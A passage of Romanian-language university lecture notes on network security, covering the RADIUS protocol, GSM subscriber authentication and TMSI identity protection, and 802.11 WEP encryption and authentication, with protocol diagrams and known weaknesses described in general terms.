stanga printr-un protocol traditional (pt. compatibilitate “backward”; ex. RADIUS), iar pe
intefata “1” din dreapta printr-un protocol AAA (ex. Diameter); de asemenea, va incapsula
componentele in noul protocol astfel incat sa fie posibila securizarea acestora e2e;

Obs: interfata “5” poate fi API sau protocol de retea;

Nota: pt. a realiza separarea functiilor AAA, necesara intr-o retea multi-domeniu, este propusa
utilizarea modelului de organizare a protocoalelor pe nivele.
Modelul stratificat al protocolului AAA
1. Application Specific Service Layer
2. Presentation Service Layer
3. Transaction/Session Management Service Layer: autentificarea celorlalte servere
AAA cu care sunt definite relatii de incredere; include motorul de autorizare bazat pe
politici; contabilizarea deciziilor de autorizare si a instantelor create de sesiuni de
autorizare ;
4. Reliable/Secure Transport Service Layer

4.4.1 Protocolul RADIUS[RFC2865] [RFC2866]


Obiective: suport pt. servicii de autentificare, controlul accesului, contabilizare si
configurare (AAAC) per conexiune;
Caracteristici generale :
- are mec. integrate de securitate, failover si audit ; nu are mecanisme pentru controlul
congestiei;
o model client/server : NAS opereaza ca un client RADIUS; clientul RADIUS
va furniza informatiile de la utilizator catre serverul RADIUS corespunzator si
va reactiona in consecinta in functie de raspunsul primit de la server ; serverul
RADIUS pe baza info primite de la utilizator va realiza procesul de autentificare
si va raspunde cu informatiile de configurare necesare clientului RADIUS
pentru a furniza serviciul solicitat de catre utilizator ; un server RADIUS poate
functiona ca proxy RADIUS pentru alte servere de autentificare (nu numai
RADIUS);

52
o securitatea de retea : tranzactile intre clientul si serverul RADIUS sunt
autentificate pe baza unui presecret partajat, niciodata transmis peste retea; pe
de alta parte parolele utilizatorilor sunt transferate intre client si server
RADIUS, dupa ce au fost criptate;
o mecanisme flexibile de autentificare : serverul RADIUS suporta o larga
varietate de mecanisme pentru autentificarea utilizatorului (ex. PPP-PAP, PPP-
CHAP, UNIX Login, etc.) ;
o extensibilitate : informatiile vehiculate in toate tranzactiile sunt structurate in
atomi ALV (Attribute-Length-Value); aceasta permite ca noi atribute ALV sa
fie definite fara probleme de compatibilitate cu implementarile deja existente ;

- formatul mesajului RADIUS (peste UDP/port 1812):


0 8 16 31
Code Identifier Length

Authenticator Type Length Value

AVPs AVP

Formatul mesajului RADIUS

Semnificatia campurilor :
Code = tipul pachetului (ex. Access-Request, Access-Challenge, etc.); daca are o
incorecta pachetul este eliminat pasiv;
Identifier = def. o asociere cerere-raspuns; permite detectarea mesajelor duplicate;
Length = lungimea totala a pachetului RADIUS; daca are o valoare incorecta
pachetul este eliminat pasiv;
Authenticator = pt. autentificarea mesajelor trimise de serverul RADIUS ; de
asemenea este utilizat de ca mecanism de criptare a parolelor (utilizator);
In fct de tipul mesajului se numeste:
Request Authenticator[16B] = este o valoare aleatoare unica global pe
durata de viata a secretului partajat cu serverul, transmis in mesajele Access-
Request;
User-Password AVP = c1 || c2 || …
c1 = p1 XOR MD5(shared_secret || Req. Authenticator)
c2 = p2 XOR MD5(shared_secret || c1)

Unde, pn – este blocul n din parola utilizatorului, de dimensiune 128b;
Response Authenticator = transmis in Access-Accept, Access-Reject,
Access-Challenge;
Resp_Authenticator = MD5(Code || Id. || Length || ReqAuth ||
AVPAttributes || shared_secret)

- un atribut RADIUS (AVP)= transporta date de autentificare, autorizare si informatii


de configurare in mesaje cerere/raspuns; ex. de tipuri de AVP-uri (lista partiala): User-
Name, User-Password, CHAP-Password, NAS-IP-Address, Framed-Protocol, Login-
IP-Host, Reply-Message, Vendor-Specific, NAS-Identifier, Acct-Session-Id, Tunnel-
Type, Prompt, EAP-Message, EAP-Key-Name, EAP-Lower-Layer, …

53
- tipuri de mesaje RADIUS pt. AA:
o Access-Request : transmis catre clientul RADIUS, contine info pentru a
determina daca un utilizator poate sa acceseze un anumit NAS si un anumit
serviciu (atribute AVP : User-Name, NAS-IP-Address si/sau NAS-Identifier,
User-Password sau CHAP-Challenge, s.a.); serverul va raspunde cu unul dintre
urmatoarele mesaje ;
o Access-Accept : transmis de serverul RADIUS, contine info de configurare a
serviciului furnizat utilizatorului(ex. atribute de autorizare : adresa/pool-ul de
IP asignabile userului, durata conectarii, politici pt controlul traficului userului,
param L2TP/VLAN/QoS);
o Access-Reject : transmis de server daca exista un atribut inacceptabil;
o Access-Challenge : trimis de server cu o valoare de provocare a utilizatorului;
atribute : Reply-Message, State, Vendor-Specific, Idle-Timeout, Session-
Timeout,Proxy-State; la receptie, se verifica campul Identifier si autenticitatea
mesajului; in caz de esec se elimina pasiv ;
Daca NAS nu are suport pentru protocoale provocare/raspuns atunci acesta
mesaj este interpretat similar cu un Access-Reject;
NAS va raspunde cu Access-Request care contine un nou Identifier si valoarea
cu care a raspuns utilizatorul in atributul User-Password ;

RADIUS RADIUS
Client Server

Access-Request

Access-Challenge/Response
Access-Request

Access-Accept /
Access-Reject

Tranzactii de autentificare/autorizare

54
RADIUS RADIUS
Client Server
Accounting-Request
Acct_status_type = start
Accounting-Response

Accounting-Request
Acct_status_type = update
Accounting-Response

Accounting-Request
Acct_status_type = stop
Accounting-Response

Tranzactii de contabilizare (en. accounting)

- serviciul RADIUS poate suporta scenarii cu roaming de utilizatori, pe baza unui


mecanism propriu de dirijare a mesajelor si a conceptului realm pt. localizarea
serverului ;

- un identificator de utilizator poate fi de forma (NAI): username@realm; realm


defineste o jurisdictie RADIUS de obicei corespunde unui domeniu DNS); selectarea
serverului urmator se poate face pe baza NAI (din User-Name; sau orice alt criteriu :
Called-Station-Id);

- se recomanda securizarea RADIUS prin tunelare IPsec, deoarece mec de criptare


integrate bazate pe MD5 si cod secret prepartajat este slab; in plus, numai
credentialele utilizatorului sunt protejate, restul de info sensibile ale utilizatorului sunt
in clar; o solutie: RadSec care foloseste TCP[RFC6613] +TLS[RFC6614];
- pt verificarea credentialelor serverul poate solicita serviciile SQL, Kerberos, LDAP ;
- au fost descoperite mai multe atacuri la interfata RADIUS (criptanalitice, repetitie,
DOS);

Exemplu[RFC2865] : scenariul de autentificare a utilizatorului de catre serviciul telnet (T) la


portul 7, pe baza serverului RADIUS(R) si a unui passcoder/token:
1. T → R : Access-Request{Code=1, ID=0, Length=57, Req_Auth=rand, User-
Name =’’mopsy’’, User-Password, NAS-IP-Address= ‘’192.168.1.16’’, NAS-
NAS-Port=7}
2. R → T : Access-Challenge{Code=2, ID=0, Length=78, Resp_Auth, Reply-
Message=’’Challenge 32769430. Enter resp. at prompt’’, State}
3. T → R: Access-Request{Code=1, ID=1, Length=67, Req_Auth=rand2, User-
Name= ‘’mopsy’’, User-Password, NAS-IP-Address= ‘’192.168.1.16’’, NAS-
Port=7, State}
4. R → T : Access-Reject{Code=3, ID=1, Length=20, Resp_Auth [, Reply-
Message]}

55
5. Securitatea retelelor de acces radio
Obiectivele principale:
 autentificarea mutuala a terminalului de retea, (ulterior) si a retelei;
 controlul accesului la serviciile retelei si identificarea terminalului de retea;
 confidentialitatea si integritatea comunicatiilor pe interfata radio

5.1 Servicii de securitate GSM


-standardul GSM [3GPP TS 03.20] specifica trei servicii de securitate:
 autentificarea abonatului: presupune o procedura de autentificare unidirectionala prin
care reteaua GSM verifica identitatea IMSI/TMSI. Serviciul de autentificare este
utilizat de retea pentru a realiza controlul accesului terminalului (utilizatorului) la
resursele si serviciile retelei;
 procedura de autentificare include si mecanismele necesare pentru stabilirea cheilor
de sesiune care vor fi folosite in criptarea traficului;
 confidentialitatea identitatii terminalului(anonimitate): garanteaza ca in cazul in
care un atacator intercepteaza datele transferate pe legatura radio, acesta nu poate sa
determine identitatea IMSI reala a terminalului MS. In mod implicit, acest serviciu
garanteaza si confidentialitatea locatiei terminalului MS.

-ofera suport pentru negocierea si functionarea mai multor algoritmi de autentificare si criptare;
- parametrii protocoalelor de securitate sunt integrati in mesajele pentru managementul
locatiei MS (mesaje RIL3-MM intre MS si MSC/VLR, mesaje MAP/D intre MSC/VLR si
HLR, mesaje MAP/G intre doua entitati VLR);

-pentru implementarea serviciilor de securitate este utilizat un smartcard SIM (Subscriber


Identity Module). Cardul SIM se ataseaza la un terminal mobil, pentru a furniza terminalului
credentialele si functiile de criptografice necesare pentru ca utilizatorul sa acceseze serviciile
de retea ale unui anumit operator. Terminalul poate sa citeasca informatia si sa solicite functiile
criptografice, insa nu sunt permise (hardware) operatii de modificare a informatiilor critice de
pe cardul SIM;

-accesul utilizatorului la cardul SIM este controlat printr-un cod secret de tip PIN, astfel: dupa
introducerea codului PIN de catre utilizator, terminalul solicita cardului SIM verificarea
acestuia. Daca utilizatorul este autentificat, atunci accesul la cardul SIM este permis. In caz
contrar, SIM notifica terminalul si asteapta o noua cerere de verificare a codului PIN. Dupa un
numar predefinit de incercari consecutive de autentificare fara succes, cardul SIM va solicita
terminalului autentificarea prin codul secret de tip PUK (PIN Unlock), de lungime mai mare.
In continuare, dupa un numar predefinit de incercari de autentificare cu rezultat de esec, cardul
SIM blocheaza pe termen nedeterminat accesul terminalului;

Obs: autentificarea abonatului la reteaua GSM este de tip multi-factor;

-principalele informatii continute de un card SIM care sunt utilizate pentru a defini o asociere
de securitate intre terminal si reteaua unui anumit operator, sunt:
 IMSI (International Mobile Subscriber Identity): este un numar unic global (15
digiti), format dintr-un cod al retelei operatorului (MNC), un cod de tara (MCC), si un
cod pentru identificarea terminalului abonatului (MSIN);

56
 Cheia Ki (Individual Subscriber Authentication Key): este cheia master de
autentificare din care se vor genera toate cheile de sesiune ulterioare. Aceasta cheie este
memorata in mod securizat, fiind cunoscuta numai de SIM si de AuC (Authentication
Center). Terminalul nu poate citi valoarea acestei chei, in schimb poate sa solicite
cardului SIM sa realizeze toate operatiile de criptare cu Ki necesare (a se vedea
procedura de autentificare a terminalelor si de generare a cheilor)

-in figura de mai jos (Figure 5-1) este prezentata schema de principiu a unui card de tip SIM.
Principalele elemente sunt: interfata de scriere prin care terminalul transfera valoarea curenta
RAND catre card, pentru criptare; interfata de citire a valorii SRES calculata prin criptarea
valorii curente RAND cu cheia master Ki si interfata de citire a cheii de sesiune Kc, blocul de
criptare A3/A8 si cheia master de criptare Ki;
-A3 este denumirea generica a blocului de criptare pentru autentificarea entitatii, frecvent
implementat cu algoritmii, COMPs128v1 sau COMP128v22. Exista si o varianta a algoritmului
COMP128v3, similara COMP128v2, care utilizeaza toti cei 64 de biti ai cheii (pentru ca
varianta v2 inca seteaza cei 10 MSBs in zero). Tipic, algoritmul specificat pentru blocul de
criptare A3 este utilizat si pentru implementarea blocului A8.

SIM
RAND (provocare) SRES
A3/A8
Kc

Ki

Figure 5-1: Cardul SIM

5.1.1 Autentificarea abonatului si stabilirea cheilor de sesiune


-previne atacul prin impersonare cu scopul furtului serviciului retelei GSM;
-procedura de autentificare este aplicata atunci cand MS se inregistreaza in reteaua GSM sau
cand isi actualizeaza informatiile de localizare;
-in procedura de autentificare, terminalul utilizeaza cardul SIM pentru a demonstra (din partea
abonatului) cunoasterea cheii secrete Ki.
Procedura se desfasoara astfel (vezi Figure 5-2):
1. terminalul transmite identitatea abonatului. De cate ori este posibil se evita transmiterea
in clar a IMSI, prin folosirea unui identificator temporar TMSI;
2. reteaua transmite catre MS, mesajul AUTHENTICATION_REQUEST care contine o
valoare de provocare RAND;
3. MS receptioneaza RAND si il transfera catre SIM prin comanda RUN_GSM
_ALGORITHM_A3;
4. SIM ruleaza algoritmul A3 cu cheia Ki si RAND, pentru a calcula SRES pe care il
transfera, apoi, impreuna cu o noua cheie de sesiune Kc, inapoi terminalului MS;

2
De la inceput majoritatea operatorilor au preferat utilizarea algoritmului COMP128, si pentru motivul ca a fost
proiectat in secret (ulterior COMP128v1 a fost specificat si de organizatia de standardizare GSM). Insa secretul
algoritmului COMP128 a fost ulterior facut public, iar in urma analizei algoritmului s-a demonstrat ca este
vulnerabil. Ca urmare a fost dezvoltata o noua varianta COMP128v2 (tot in secret) care rezolva vulnerabiltiatile
de securitate gasite, si care a fost in continuare acceptata de operatori.

57
5. terminalul transfera SRES catre retea prin mesajul AUTHENTICATION_
RESPONSE;
6. reteaua compara valoarea SRES receptionata cu valoarea calculata local. Daca sunt
egale, se considera ca utilizatorul a fost autentificat; in caz contrar, reteaua poate sa
aleaga intre o noua incercare de autentificare utilizand IMSI, daca anterior a fost utilizat
TMSI, sau transmiterea mesajului AUTHENTICATION_REJECT. In cazul in care
autentificarea utilizatorului nu se poate realiza, reteaua va elibera conexiunea radio, iar
terminalul poate considera cardul SIM ca fiind invalid.

VLR/MSC ME SIM card

RIL3-MM LOCATION UPDATE (TMSI or IMSI )


RIL3-MM AUTHENTICATION REQUEST {RAND(CKSN)}
RUN GSM ALGORITHM A3(RAND)
RESPONSE {SRES, Kc}
RIL3-MM AUTHENTICATION RESPONSE {SRES(CKSN)}

RIL3-MM LOCATION ACCEPT (TMSIn, LAIn)


Figure 5-2: Autentificarea abonatului (in contextul actualizarii locatiei)

Distribuirea de catre AuC a informatiilor pentru autentificare si criptare


-se pp. entitatea AuC este colocata cu entitatea HLR;
-abonatul este autentificat de VLR curent pentru a preveni congestionarea HLR. Rezulta ca
este necesar transferul securizat al cheii secrete Ki, peste infrastructura fixa (neprotejata) a
retelei GSM. Aceasta problema prezinta un risc de securitate si mai ridicat atunci cand cheia
secreta trebuie transferata intre domenii administrative diferite (i.e. in roaming, reteaua vizitata
poate invata cheia secreta);
Solutia: in loc sa fie transferata cheia secreta prin retea, HLR va transfera catre VLR un set de
vectori pentru autentificare Ti = {SRES(1.. n), Kc(1.. n), RAND(1.. n)} calculati pe baza
acesteia. Pentru fiecare MS identificat prin IMSI/TMSI specificat de VLR (Figure 5-3), un
astfel de vector de autentificare este calculat si transferat de la HLR la VLR.
- deci, entitatea VLR(Visitor Location Register) autentifica abonatul pe baza unor vectori de
autentificare (fiecare cu n elemente de unica folosinta), pe care ii poate obtine de la HLR sau
de la VLR anterior;
MS VLR /MSC HLR/AuC
MAP/D SEND PARAM. Security
Related Information Request {IMSI}

MAP/D SEND PARAM. RESULT


Authentication Vector Response
{IMSI, RAND(1.. n), SRES(1.. n), Kc(1.. n)}
Store RAND,
SRES, Kc
vectors
Figure 5-3: Distribuirea vectorilor de autentificare catre VLR

-pentru a asigura o eficienta cat mai ridicata, in cazul in care abonatul trece in zona unui nou
VLRn, poate sa utilizeze identificatorul TMSIo, ca sa obtina vectorii de autentificare neutilizati
de vechiul VLRo, direct de la acesta (vezi Figure 5-4). Procedura de distribuire a vectorilor de
58
autentificare intre cele doua entitati VLR, este initiata de MS printr-un mesaj de actualizare a
informatiilor de localizare transmis catre VLR, care include identificatorul TMSIo si un
identificator al VLR anterior (LAIo). Dupa autentificarea abonatului de catre noua entitate
VLR, aceasta raspunde cu un mesaj de acceptare a cererii de actualizare a informatiilor de
localizare, care include noul LAI si noua identitate TMSIn asociate terminalului MS.
MS VLRn/MSCn VLRo

LOCATION UPDATE
REQUEST MAP/G SEND PARAM
(LAIo, TMSIo)
{LAIo, TMSIo}

MAP/G SEND PARAM RESULT


Authentication & Authentication Vector Response
ciphering procedure{IMSI, RAND(1.. n), SRES(1.. n), Kc(1.. n)}

LOCATION UPDATE
ACCEPT
{LAIn, TMSIn}
Figure 5-4: Transferul informatiilor de autentificare intre nodurile VLR

Atunci cand comunicatia cu entitatea VLRo nu poate fi realizata sau cand VLRo nu cunoaste
identificatorul TMSI din cauza unei erori de sistem, sau in cazul in care MS utilizeaza direct
identificatorul IMSI, VLRn va contacta direct entitatea HLR pentru a obtine vectorii de
autentificare (analog Figure 5-3).

-in general, daca nu se poate realiza autentificarea abonatului identificat prin TMSI, reteaua fie
solicita repetarea procedurii cu identificatorul IMSI, fie refuza cererea de actualizare a locatiei
sau de acces, care a amorsat procedura de autentificare;

-standardul GSM [3GPP TS 03.20] prevede posibilitatea reutilizarii vectorilor de autentificare,


dar numai in cazul in care cererea de vectori actualizati are ca rezultat o eroare de sistem (ex.
VLR nu poate comunica cu HLR, HLR raspunde cu confirmare pozitiva dar care nu contine
acesti vectori, HLR raspunde cu o notificare a unei erori de sistem sau de format a cererii).
Vectorii de autentificare nu pot fi reutilizati de VLR atunci cand HLR raspunde cu un mesaj
care indica identitatea terminalului necunoscuta, sau cand accesul terminalului la retea este
blocat de catre operator din motive administrative. Daca un VLR primeste o cerere de vectori
de autentificare de la un alt VLR, atunci vor fi transferati numai acei vectori care nu au mai
fost utilizati niciodata.

5.1.2 Confidentialitatea identitatii abonatului


-pentru a garanta caracterul privat al identitatii, si implicit, al locatiei utilizatorilor;
-de asemenea, pentru ca poate garanta confidentialitatea relatiilor de asociere dintre resurse si
abonat, ofera si un nivel de securitate mai ridicat pentru atacul pasiv de interceptare a
comunicatiei unui terminal (pentru ca atacatorul nu poate determina canalul TCH corect);
-este necesara o tehnica de identificare a terminalului care sa evite transferul peste legatura
radio a identificatorului IMSI in text-clar;
Solutia: consta in identificarea abonatului pe legatura radio cu ajutorul unui identificator
temporar, local, numit TMSI (Temporary Mobile Subscriber Identifier). La TMSI se
asociaza un identificator de zona LAI (Local Area Identifier) pentru a putea fi garantata
unicitatea TMSI la nivel global.

59
-entitatea VLR are rolul de a memora toate asocierile dintre TMSI si IMSI pentru fiecare
terminal in parte. Atunci cand VLR primeste un TMSI asociat cu un LAI care nu corespunde
zonei din care face parte, va solicita IMSI direct de la VLR care corespunde zonei indicate de
LAI, sau daca nu este posibil, direct de la MS. Standardul specifica ca TMSI sa fie reactualizat
cu o frecventa cel putin egala cu frecventa aplicarii procedurii de actualizare a locatiei. Noul
TMSI este transferat in text-cifrat ori de cate ori este posibil, pentru a preveni ca un atacator
sa poata construi o relatie intre valoarea veche si noua valoare (pentru a evita o urmarirea
terminalului).
-TMSI impreuna cu LAI trebuie memorate de MS in mod permanent, pentru a nu se pierde in
cazul in care terminalul MS este oprit;
-in urmatoarele cazuri, obiectivul acestui serviciu nu poate fi atins: eroare a procedurii de
actualizare a locatiei sau cand MS nu are un TMSI disponibil (ex. cand se inregistreaza in
retea). In aceste cazuri, standardul permite realizarea identificarii terminalului in clar peste
legatura radio;
-in continuare este ilustrata procedura pentru managementul TMSI corespunzatoare celor mai
importante scenarii de functionare:
 Actualizarea locatiei MS cand VLR ramane acelasi: MS transfera cu scopul de a se
identifica valoarea veche TMSIo la inceputul procedurii de actualizare a locatiei. MS si
reteaua negociaza o noua asociere de securitate pentru criptarea mesajelor de semnalizare,
si in particular a identifcatorului TMSIn.
MS Network (MSC/VLR)

RIL3-MM LOC. UPDATING REQ. {LAIo, TMSIo}

Management of means for new ciphering


Allocation of
TMSIn
RIL3-MM LOC. UPDATING ACC.
{ Cipher (TMSIn, LAIn)}
RIL3-MM LOC. UPDATING ACK
Deallocation of
TMSIo

Figure 5-5: Alocarea unui nou TMSI in aceasi zona VLR

 Actualizarea locatiei MS la un nou VLRn: este cazul in care MS este inca inregistrat la
retea in vechiul VLR si solicita inregistrarea sa de catre un nou VLRn. LAIo si TMSIo sunt
transferati de MS cu scopul identificarii sale, in cadrul procedurii de actualizare a locatiei.
VLRn obtine informatiile pentru autentificare si criptare de la VLRo. VLRo va elibera
resursele sale (TMSIo) numai dupa primirea de la HLR a mesajului “Ca ncellation” care
precizeaza ca MS este in continuare sub controlul unui alt VLR.

60
MS Network (MSC/VLRn) Network (MSC/VLRo) HLR (HPLMN)
RIL3-MM LOC. UPDATING REQ.
{LAIo, TMSIo}
MAP/G SEND PARAM. {TMSIo}

MAP/G SEND PARAM. RESULT {IMSI + Sec. Rel. Inf.}


Management of means for
new ciphering Allocation of
TMSIn
RIL3-MM LOC. UPDATING MAP/D LOC. UPDATING
ACC. {Cipher (TMSIn)}
MAP/D LOC. UPDATING ACK
RIL3-MM LOC. UPDATING
ACK.
MAP/D Cancellation

Deallocation of
TMSIo
Figure 5-6: Alocarea unui nou TMSI la schimbarea zonei VLR

 Actualizarea locatiei MS la un VLR, atunci cand se produc erori de sistem la


VLRn/VLRo: in toate aceste cazuri asocierea dintre TMSI si IMSI nu mai este posibila, si
in consecinta este necesara din nou identificarea in clar a terminalului peste legatura radio.
o VLR local nu cunoaste TMSI: se produce ca urmare a pierderii datelor de catre
VLR local sau cand MS utilizeaza un TMSI necunoscut (de ex. intr-o cerere de
comunicare sau de actualizare a locatiei). Evident, procedura in acest caz nu include
mesajele de actualizare a locatiei MS etichetate cu (3), (4) si (5) si mesajele de
solicitare a contextului de securitate etichetate cu (1) si (2), din figura de mai jos;
o Eroare de comunicare cu VLRo: sunt cauzate de erori de conectivitate intre VLRn
si VLRo sau de erori de sistem ale VLRo. In acest caz, procedura nu include
mesajul (2), iar asupra mesajului (1) se pot produce erori de transmisie;
o VLRo nu cunoaste TMSIo: in acest caz procedura cuprinde intreg setul de mesaje
ilustrat in figura de mai jos;
MS Network (MSCn/VLRn) Network (MSCo/VLRo) HLR (HPLMN)
RIL3-MM LOC. UPDATE
REQ. {LAIo, TMSIo}
(1) MAP/G SEND PARAM {TMSIo}

(2) MAP/G SEND PARAM. RESULT


Unknown
RIL3-MM IDENTITY REQ.
RIL3-MM IDENTITY RPY.
{IMSI}
Management of means for Distribution of auth vectors
new ciphering
Allocation of
RIL3-MM LOC. UPDATING TMSIn
(3) MAP/D LOC. UPDATIG
ACC. {Cipher (TMSIn)}
RIL3-MM LOC. (4) MAP/D LOC. UPDATIG ACK
UPDATING ACK
MAP/D Cancellation (5)

Deallocation of
TMSIo
Figure 5-7: Alocarea unui nou TMSI, atunci cand se produc erori de sistem la VLRn/VLRo

61
Daca reteaua nu primeste de la MS mesajul de confirmare la alocarea noului TMSIn, va trebui
sa mentina atat vechea asociere cat si noua asociere dintre TMSI si IMSI, pentru a preveni
producerea de coliziuni ale valorilor TMSI. In aceasta situatie, reteaua va permite MS sa se
identifice cu ambii identificatori TMSIn si TMSIo, dar va identifica MS cu ajutorul IMSI intr-
o tranzactie initiata de ea. Imediat ce reteaua determina identificatorul stocat de MS
(TMSIn/TMSIo), va dealoca asocierea dintre IMSI si celalalt identificator TMSI.
In general, un nou identificator TMSI poate fi realocat la initiativa retelei in orice moment.
MS Network (MSC/VLR)
Allocation
of TMSIn
RIL3-MM TMSI REALLOC. CMD.
{Cipher (TMSIn)}

RIL3-MM TMSI REALLOC.


COMPLETE ACK Deallocation
of TMSIo

Figure 5-8: Realocarea unui nou TMSI la initativa retelei

5.2 Servicii de securitate WLAN


- pentru a proteja datele transferate numai pe legatura radio, la nivelul legatura de date.
Standardul 802.11 nu specifica servicii de securitate pentru comunicatii E2E;
-conform standardului 802.11 in cazul infrastructurii ESS, entitatile STA si AP trebuie sa se
autentifice inainte de a se putea asocia; in cazul infrastructurii IBSS autentificarea este
considerata optionala;
5.2.1 Servicii de baza 802.11. Sistemul criptografic WEP (Wired Equivalent Privacy)
-1997, in standardul de baza 802.11; ulterior WEP a fost clasificat ca algoritm pre-RSN3 de
securizare a retelelor WLAN
Proprietati ale algoritmului WEP:
 poate oferi un nivel de securitate relativ ridicat, in functie de lungimea cheii si de
frecventa de schimbare a acesteia; in acest sens, WEP permite schimbarea frecventa a
valorii IV;
 auto-sincronizabil, este robust la pierderea cadrelor;
 include algoritm de criptare simetric;
 algoritm de criptare bloc in modul de operare ECB (Electronic Code Book) ;
 eficient, permite implementare hardware dar si software;
 este exportabil (in afara SUA);
 optional; standardul 802.11 nu specifica obligativitatea utilizarii sale

Descrierea sistemului criptografic WEP:


-algoritmul de criptare WEP are la baza algoritmul RC4 proiectat de compania RSA Inc.
-pentru a obtine textul cifrat, algoritmul RC4 utilizeaza un generator PRNG pentru constructia
unei secvente a cheii criptografice, dupa care efectueaza operatia XOR intre aceasta si textul
clar;

3
termenul este folosit pentru a desemna toate metodele de securizare definite inaintea finalizarii standardului
IEEE 802.11i

62
-pentru a preveni atacurile prin criptanaliza de trafic, WEP are capabilitatea de a schimba
secventa de cheie cu care lucreaza. In acest caz, s-a optat pentru schimbarea valorii IV(24b) la
fiecare MPDU de transmis. Algoritmul de generare a IV este nespecificat de standard.
-prin schimbarea frecventa a IV, se poate extinde intervalul de viata al cheii secrete partajate,
si permite realizarea proprietatii de auto-sincronizare pentru algoritm, pentru ca IV este
transportat impreuna cu MPDU de decriptat. Valoarea IV este transmisa in clar.
- lungimea cheii de lucru generate este egala cu lungimea campului de date de transmis plus
lungimea campului ICV (= lungimea MPDU);
-mecanismul de integritate consta in aplicarea algoritmului CRC-32 peste textul clar de
transmis (payload din MSDU) si criptarea codului de redundanta ICV cu algoritmul RC4;
pentru a garanta confidentialitatea datelor, WEP efectueaza operatia XOR intre secventa cheii
de lucru si textul-clar (payload din MSDU) concatenat cu ICV. Astfel, rezultatul
criptosistemului WEP este un mesaj care contine valoarea IV in clar concatenata cu textul-
cifrat;
IV

Initialization
Vector Seed WEP Key sequence
PRNG XOR
Secret Key
Ciphertext
Plaintext
Integrity Algorithm

Integrity Check Value


(ICV)
Message(MPDU)

Figure 5-9: Diagrama bloc a algoritmului de criptare WEP

-pentru a construi MPDU, se extinde pachetul MSDU cu un camp IV si cu un camp care va


contine valoarea criptata a ICV. Campul IV este structurat in trei campuri: un camp care
contine valoarea IV, un camp care contine Key-ID utilizat in selectarea uneia din cele patru
chei de tip “default” (este ignorat cand exista definita o cheie de tip “ key-mapping key”) si un
camp de completare (en. padding).

-procesul de decriptare incepe prin generarea secventei cheii de lucru pe baza valorii IV citite
din pachet si a cheii secrete partajate (Nota: cheia partajata poate fi de tipul “key-mapping key”
si/sau de tip “default-key” selectata cu ajutorul Key ID citit din pachet; acest proces este descris
pe larg mai jos). Cu secventa cheii astfel obtinuta se aplica algoritmul RC4 intre aceasta si
textul-cifrat din MPDU, pentru a decripta campul payload din MPDU.
In plus,WEP calculeaza valoarea ICV’ din textul-in clar MPDU si o compara cu valoarea
transferata; daca sunt egale, atunci MPDU este valid si datele sunt livrate nivelului LLC; daca
nu sunt egale atunci are loc notificarea starii de eroare, nivelului MAC de management, si
eliminarea pachetului care a generat aceasta eroare.

63
Plaintext
Seed Key sequence
Secret Key ICV’
WEP
Integrity Algorithm
IV PRNG
XOR
ICV’ = ICV ?

Ciphertext

Message

Figure 5-10: Diagrama bloc a algoritmului de decriptare WEP

Autentificarea entitatilor
Standardul 802.11(1997) defineste doua protocoale de autentificare:
 Protocolul “Open System”: utilizeaza o tehnica necriptografica de autentificare, fiind
serviciul implicit de autentificare specificat de standard;
 Protocolul “Shared-key”: utilizeaza o tehnica criptografica cu cheie secreta partajata
pentru autentificarea unilaterala a entitatilor STA

-protocolul de autentificare utilizat la un moment dat va fi indicat chiar de catre cadrele de


management de autentificare ;

Protocolul de autentificare “Open System Authentication”:


-protocolul de autentificare se desfasoara in 2-pasi: primul mesaj este o cerere de autentificare
care precizeaza si identitatea initiatorului (STA), al doilea mesaj intoarce rezultatul
autentificarii care are intotdeauna semnificatia “succes” (figura de mai jos).
Din cauza ca nu se utilizeaza nici o functie criptografica este considerata o tehnica de
autentificare slaba.
STA AP
Authentication Req.

Confirm success

Figure 5-11: Protocolul “Open System”

Protocolul de autentificare “Shared Key Authentication”:


-autentificare unilaterala care foloseste o tehnica “provocare-raspuns” bazata pe cunoasterea
unui cod secret sau cheie simetrica. Din cauza ca nu realizeaza autentificarea punctului de
acces, acest protocol este vulnerabil la atacuri prin impersonarea entitatii AP (en. “rogue AP
attack”) si la atacuri MITM.
- protocolul “Shared Key Authentication” se desfasoara in 4-pasi (figura de mai jos): primul
mesaj este o cerere de autentificare care indica utilizarea acestui protocol, al doilea mesaj este
raspunsul AP la cerere care contine o valoare aleatoare de provocare generata cu ajutorul
algoritmului WEP cu cheia partajata si cu o valoare aleatoare IV ce va fi transmisa in clar, al
64
treilea mesaj contine valoarea criptata a provocarii cu algoritmul WEP si cheia simetrica
partajata. La receptia celui de-al treilea mesaj, AP (verificatorul) verifica valoarea ICV (CRC-
32) si daca se dovedeste ca pachetul nu a fost modificat, se compara valoarea citita din MPDU
cu valoarea criptata cu WEP a provocarii memorate anterior local, si daca se verifica atunci AP
va raspunde cu rezultatul “succes”, prin mesajul al 4-lea; daca una dintre verificari nu este
valida atunci AP va raspunde cu “esec” in al patrulea mesaj.
STA AP
Authentication Req.

Authentication ChallengeGenereaza provocare

Cripteaza provocare
[= challenge ⨁ Authentication Response
RC4(IV, K) ] Decripteaza raspunsul; Compara cu
Authentication Result valoarea initiala a provocarii

Figure 5-12: Protocolul “Shared-key”

Se observa ca valoarea de provocare este transferata intre cele doua entitati WLAN in clar
(mesajul 2) si apoi criptata (mesajul 3), fapt care faciliteaza atacul text-clar-cunoscut. Ca solutie
la acesta problema standardul specifica schimbarea valorii IV la fiecare cadru de transmis.

Managementul de chei
-standardul 802.11 presupune ca distributia cheii secrete partajate (simetrice) catre toate
entitatile STA autorizate se efectueaza prin intermediul unui canal securizat, metoda utilizata
in acest scop fiind considerata o problema in afara ariei acoperite de standard.

-cheia partajata este utilizata direct in criptarea datelor, si nu are loc stabilirea unei chei de
sesiune (cheia partajata este utilizata atat pentru autentificarea entitatilor cat si pentru
confidentialitea si autentificarea mesajelor utilizator). Functiile pentru managementul cheii
partajate, precum generarea, stocarea, arhivarea, distribuirea, darea in custodie, auditarea sau
distrugerea cheii partajate secrete, au fost solutionate de catre producatorii de echipamente
WLAN asa cum a considerat fiecare in parte. Rezulta urmatoarele probleme: utilizarea unor
chei slabe, chei care nu sunt unice sau utilizarea cheilor dupa depasirea timpului de viata.

-totusi, standardul 802.11 defineste doua tipuri de chei care pot fi partajate intre STA si AP:
 Cheia implicita (en. “default key”): este o cheie partajata intre mai multe entitati STA
si AP. Alti termeni utilizati pentru “Default key” sunt: “Shared key”, “Group key”,
“Multicast key”, “Broadcast key” (figura a);
 Cheia individuala (en. “key mapping key”): este o cheie unica asociata unei perechi
de entitati STA-AP. Alti termeni utilizati pentru “Key mapping key” sunt: “Key
Individual key”, “Per-station key”, “Unique key” (figura b)

